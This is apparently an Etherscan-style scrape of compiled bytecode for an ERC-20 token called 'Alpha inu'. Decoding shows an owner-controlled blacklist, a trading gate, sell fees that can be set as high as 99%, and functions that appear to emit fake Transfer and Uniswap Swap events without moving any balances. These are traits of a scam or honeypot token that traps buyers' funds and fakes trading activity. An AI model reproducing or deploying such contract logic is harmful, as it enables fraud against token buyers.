1233565b005b3480156104ff57600080fd5b506105086112e8565b60405161051591906133b7565b60405180910390f35b34801561052a57600080fd5b5061054560048036038101906105409190613618565b6112ee565b60405161055291906133b7565b60405180910390f35b34801561056757600080fd5b50610570611306565b60405161057d91906135fd565b60405180910390f35b34801561059257600080fd5b5061059b61132f565b6040516105a891906133b7565b60405180910390f35b3480156105bd57600080fd5b506105c6611335565b6040516105d39190613260565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe919061369e565b611372565b005b34801561061157600080fd5b5061062c600480360381019061062791906132b8565b611411565b6040516106399190613313565b60405180910390f35b34801561064e57600080fd5b5061066960048036038101906106649190613618565b61142f565b6040516106769190613313565b60405180910390f35b34801561068b57600080fd5b5061069461144f565b005b3480156106a257600080fd5b506106bd60048036038101906106b89190613726565b611528565b005b3480156106cb57600080fd5b506106e660048036038101906106e19190613786565b611662565b005b3480156106f457600080fd5b5061070f600480360381019061070a91906137ed565b61174b565b60405161071c91906133b7565b60405180910390f35b34801561073157600080fd5b5061074c60048036038101906107479190613564565b6117d2565b6040516107599190613313565b60405180910390f35b34801561076e57600080fd5b506107896004803603810190610784919061369e565b611844565b005b34801561079757600080fd5b506107b260048036038101906107ad9190613618565b6118e3565b005b6107bc611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084090613879565b60405180910390fd5b60005b81518110156108da5760016010600084848151811061086e5761086d613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d2906138f7565b91505061084c565b5050565b60606040518060400160405280600981526020017f416c70686120696e750000000000000000000000000000000000000000000000815250905090565b600061092f610928611aa4565b8484611aac565b6001905092915050565b610941611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c590613879565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b600080600090505b8551811015610c6157858181518110610a4557610a44613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610aae57610aad613899565b5b6020026020010151604051610ac391906133b7565b60405180910390a3858181518110610ade57610add613899565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b5b57610b5a613899565b5b6020026020010151600080898781518110610b7957610b78613899565b5b6020026020010151604051610b91949392919061397a565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610bc857610bc7613899565b5b602002602001015189878581518110610be457610be3613899565b5b60200260200101516040518463ffffffff1660e01b8152600401610c0a939291906139bf565b6020604051808303816000875af1158015610c29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4d9190613a0b565b508080610c59906138f7565b915050610a29565b506001905095945050505050565b6000610c7c848484611c75565b610d3d84610c88611aa4565b610d38856040518060600160405280602881526020016143bb60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cee611aa4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124f89092919063ffffffff16565b611aac565b600190509392505050565b60185481565b60006002905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d85611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0990613879565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e75611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990613879565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f60611aa4565b73ffffffffffffffffffffffffffffffffffffffff161480610fd65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fbe611aa4565b73ffffffffffffffffffffffffffffffffffffffff16145b610fdf57600080fd5b6000479050610fed8161255c565b50565b600061103a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c8565b9050919050565b611049611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90613879565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61119c611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611229576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122090613879565b60405180910390fd5b8060168190555050565b61123b611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bf90613879565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600881526020017f416c706861696e75000000000000000000000000000000000000000000000000815250905090565b61137a611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611407576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fe90613879565b60405180910390fd5b8060188190555050565b600061142561141e611aa4565b8484611c75565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611490611aa4565b73ffffffffffffffffffffffffffffffffffffffff1614806115065750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114ee611aa4565b73ffffffffffffffffffffffffffffffffffffffff16145b61150f57600080fd5b600061151a30610ff0565b905061152581612636565b50565b611530611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b490613879565b60405180910390fd5b60005b8383905081101561165c5781600560008686858181106115e3576115e2613899565b5b90506020020160208101906115f89190613618565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611654906138f7565b9150506115c0565b50505050565b61166a611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90613879565b60405180910390fd5b601982856117059190613a38565b111561171057600080fd5b6063818461171e9190613a38565b111561172957600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183191906133b7565b60405180910390a3600190509392505050565b61184c611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d090613879565b60405180910390fd5b8060178190555050565b6118eb611aa4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611978576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196f90613879565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119de90613ade565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1290613b70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8190613c02565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c6891906133b7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cdb90613c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4a90613d26565b60405180910390fd5b60008111611d96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8d90613db8565b60405180910390fd5b611d9e611306565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e0c5750611ddc611306565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121f757601560149054906101000a900460ff16611e9b57611e2d611306565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9190613e4a565b60405180910390fd5b5b601654811115611ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed790613eb6565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f845750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fba90613f48565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612070576017548161202584610ff0565b61202f9190613a38565b1061206f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206690613fda565b60405180910390fd5b5b600061207b30610ff0565b90506000601854821015905060165482106120965760165491505b8080156120ae575060158054906101000a900460ff16155b80156121085750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121205750601560169054906101000a900460ff165b80156121765750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121cc5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121f4576121da82612636565b600047905060008111156121f2576121f14761255c565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061229e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123515750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123505750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561235f57600090506124e6565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561240a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242257600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124cd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124e557600a54600c81905550600b54600d819055505b5b6124f2848484846128ad565b50505050565b6000838311158290612540576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125379190613260565b60405180910390fd5b506000838561254f9190613ffa565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125c4573d6000803e3d6000fd5b5050565b600060065482111561260f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612606906140a0565b60405180910390fd5b60006126196128da565b905061262e818461290590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561266d5761266c612ff7565b5b60405190808252806020026020018201604052801561269b5781602001602082028036833780820191505090505b50905030816000815181106126b3576126b2613899565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561275a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061277e91906140d5565b8160018151811061279257612791613899565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127f930601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611aac565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161285d9594939291906141c0565b600060405180830381600087803b15801561287757600080fd5b505af115801561288b573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128bb576128ba61294f565b5b6128c684848461298c565b806128d4576128d3612b57565b5b50505050565b60008060006128e7612b6b565b915091506128fe818361290590919063ffffffff16565b9250505090565b600061294783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bca565b905092915050565b6000600c5414801561296357506000600d54145b61298a57600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061299e87612c2d565b9550955095509550955095506129fc86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cdf90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612add81612d3d565b612ae78483612dfa565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b4491906133b7565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612b9f670de0b6b3a764000060065461290590919063ffffffff16565b821015612bbd57600654670de0b6b3a7640000935093505050612bc6565b81819350935050505b9091565b60008083118290612c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c089190613260565b60405180910390fd5b5060008385612c209190614249565b9050809150509392505050565b6000806000806000806000806000612c4a8a600c54600d54612e34565b9250925092506000612c5a6128da565b90506000806000612c6d8e878787612eca565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cd783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124f8565b905092915050565b6000808284612cee9190613a38565b905083811015612d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2a906142c6565b60405180910390fd5b8091505092915050565b6000612d476128da565b90506000612d5e8284612f5390919063ffffffff16565b9050612db281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cdf90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e0f82600654612c9590919063ffffffff16565b600681905550612e2a81600754612cdf90919063ffffffff16565b6007819055505050565b600080600080612e606064612e52888a612f5390919063ffffffff16565b61290590919063ffffffff16565b90506000612e8a6064612e7c888b612f5390919063ffffffff16565b61290590919063ffffffff16565b90506000612eb382612ea5858c612c9590919063ffffffff16565b612c9590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee38589612f5390919063ffffffff16565b90506000612efa8689612f5390919063ffffffff16565b90506000612f118789612f5390919063ffffffff16565b90506000612f3a82612f2c8587612c9590919063ffffffff16565b612c9590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f655760009050612fc7565b60008284612f7391906142e6565b9050828482612f829190614249565b14612fc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fb99061439a565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61302f82612fe6565b810181811067ffffffffffffffff8211171561304e5761304d612ff7565b5b80604052505050565b6000613061612fcd565b905061306d8282613026565b919050565b600067ffffffffffffffff82111561308d5761308c612ff7565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130ce826130a3565b9050919050565b6130de816130c3565b81146130e957600080fd5b50565b6000813590506130fb816130d5565b92915050565b600061311461310f84613072565b613057565b905080838252602082019050602084028301858111156131375761313661309e565b5b835b81811015613160578061314c88826130ec565b845260208401935050602081019050613139565b5050509392505050565b600082601f83011261317f5761317e612fe1565b5b813561318f848260208601613101565b91505092915050565b6000602082840312156131ae576131ad612fd7565b5b600082013567ffffffffffffffff8111156131cc576131cb612fdc565b5b6131d88482850161316a565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561321b578082015181840152602081019050613200565b60008484015250505050565b6000613232826131e1565b61323c81856131ec565b935061324c8185602086016131fd565b61325581612fe6565b840191505092915050565b6000602082019050818103600083015261327a8184613227565b905092915050565b6000819050919050565b61329581613282565b81146132a057600080fd5b50565b6000813590506132b28161328c565b92915050565b600080604083850312156132cf576132ce612fd7565b5b60006132dd858286016130ec565b92505060206132ee858286016132a3565b9150509250929050565b60008115159050919050565b61330d816132f8565b82525050565b60006020820190506133286000830184613304565b92915050565b6000819050919050565b600061335361334e613349846130a3565b61332e565b6130a3565b9050919050565b600061336582613338565b9050919050565b60006133778261335a565b9050919050565b6133878161336c565b82525050565b60006020820190506133a2600083018461337e565b92915050565b6133b181613282565b82525050565b60006020820190506133cc60008301846133a8565b92915050565b600067ffffffffffffffff8211156133ed576133ec612ff7565b5b602082029050602081019050919050565b600061341161340c846133d2565b613057565b905080838252602082019050602084028301858111156134345761343361309e565b5b835b8181101561345d578061344988826132a3565b845260208401935050602081019050613436565b5050509392505050565b600082601f83011261347c5761347b612fe1565b5b813561348c8482602086016133fe565b91505092915050565b600080600080600060a086880312156134b1576134b0612fd7565b5b60006134bf888289016130ec565b955050602086013567ffffffffffffffff8111156134e0576134df612fdc565b5b6134ec8882890161316a565b945050604086013567ffffffffffffffff81111561350d5761350c612fdc565b5b61351988828901613467565b935050606086013567ffffffffffffffff81111561353a57613539612fdc565b5b61354688828901613467565b9250506080613557888289016130ec565b9150509295509295909350565b60008060006060848603121561357d5761357c612fd7565b5b600061358b868287016130ec565b935050602061359c868287016130ec565b92505060406135ad868287016132a3565b9150509250925092565b600060ff82169050919050565b6135cd816135b7565b82525050565b60006020820190506135e860008301846135c4565b92915050565b6135f7816130c3565b82525050565b600060208201905061361260008301846135ee565b92915050565b60006020828403121561362e5761362d612fd7565b5b600061363c848285016130ec565b91505092915050565b61364e816132f8565b811461365957600080fd5b50565b60008135905061366b81613645565b92915050565b60006020828403121561368757613686612fd7565b5b60006136958482850161365c565b91505092915050565b6000602082840312156136b4576136b3612fd7565b5b60006136c2848285016132a3565b91505092915050565b600080fd5b60008083601f8401126136e6576136e5612fe1565b5b8235905067ffffffffffffffff811115613703576137026136cb565b5b60208301915083602082028301111561371f5761371e61309e565b5b9250929050565b60008060006040848603121561373f5761373e612fd7565b5b600084013567ffffffffffffffff81111561375d5761375c612fdc565b5b613769868287016136d0565b9350935050602061377c8682870161365c565b9150509250925092565b600080600080608085870312156137a05761379f612fd7565b5b60006137ae878288016132a3565b94505060206137bf878288016132a3565b93505060406137d0878288016132a3565b92505060606137e1878288016132a3565b91505092959194509250565b6000806040838503121561380457613803612fd7565b5b6000613812858286016130ec565b9250506020613823858286016130ec565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138636020836131ec565b915061386e8261382d565b602082019050919050565b6000602082019050818103600083015261389281613856565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390282613282565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613934576139336138c8565b5b600182019050919050565b6000819050919050565b600061396461395f61395a8461393f565b61332e565b613282565b9050919050565b61397481613949565b82525050565b600060808201905061398f60008301876133a8565b61399c602083018661396b565b6139a9604083018561396b565b6139b660608301846133a8565b95945050505050565b60006060820190506139d460008301866135ee565b6139e160208301856135ee565b6139ee60408301846133a8565b949350505050565b600081519050613a0581613645565b92915050565b600060208284031215613a2157613a20612fd7565b5b6000613a2f848285016139f6565b91505092915050565b6000613a4382613282565b9150613a4e83613282565b9250828201905080821115613a6657613a656138c8565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613ac86026836131ec565b9150613ad382613a6c565b604082019050919050565b60006020820190508181036000830152613af781613abb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613b5a6024836131ec565b9150613b6582613afe565b604082019050919050565b60006020820190508181036000830152613b8981613b4d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613bec6022836131ec565b9150613bf782613b90565b604082019050919050565b60006020820190508181036000830152613c1b81613bdf565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613c7e6025836131ec565b9150613c8982613c22565b604082019050919050565b60006020820190508181036000830152613cad81613c71565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613d106023836131ec565b9150613d1b82613cb4565b604082019050919050565b60006020820190508181036000830152613d3f81613d03565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613da26029836131ec565b9150613dad82613d46565b604082019050919050565b60006020820190508181036000830152613dd181613d95565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613e34603f836131ec565b9150613e3f82613dd8565b604082019050919050565b60006020820190508181036000830152613e6381613e27565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613ea0601c836131ec565b9150613eab82613e6a565b602082019050919050565b60006020820190508181036000830152613ecf81613e93565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613f326023836131ec565b9150613f3d82613ed6565b604082019050919050565b60006020820190508181036000830152613f6181613f25565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613fc46023836131ec565b9150613fcf82613f68565b604082019050919050565b60006020820190508181036000830152613ff381613fb7565b9050919050565b600061400582613282565b915061401083613282565b9250828203905081811115614028576140276138c8565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061408a602a836131ec565b91506140958261402e565b604082019050919050565b600060208201905081810360008301526140b98161407d565b9050919050565b6000815190506140cf816130d5565b92915050565b6000602082840312156140eb576140ea612fd7565b5b60006140f9848285016140c0565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614137816130c3565b82525050565b6000614149838361412e565b60208301905092915050565b6000602082019050919050565b600061416d82614102565b614177818561410d565b93506141828361411e565b8060005b838110156141b357815161419a888261413d565b97506141a583614155565b925050600181019050614186565b5085935050505092915050565b600060a0820190506141d560008301886133a8565b6141e2602083018761396b565b81810360408301526141f48186614162565b905061420360608301856135ee565b61421060808301846133a8565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061425482613282565b915061425f83613282565b92508261426f5761426e61421a565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006142b0601b836131ec565b91506142bb8261427a565b602082019050919050565b600060208201905081810360008301526142df816142a3565b9050919050565b60006142f182613282565b91506142fc83613282565b925082820261430a81613282565b91508282048414831517614321576143206138c8565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006143846021836131ec565b915061438f82614328565b604082019050919050565b600060208201905081810360008301526143b381614377565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122011c08d64e355a22e9c52eb3c3f38e2ac8767015ae0a9add8d6930f05be19327364736f6c63430008120033

Deployed Bytecode Sourcemap

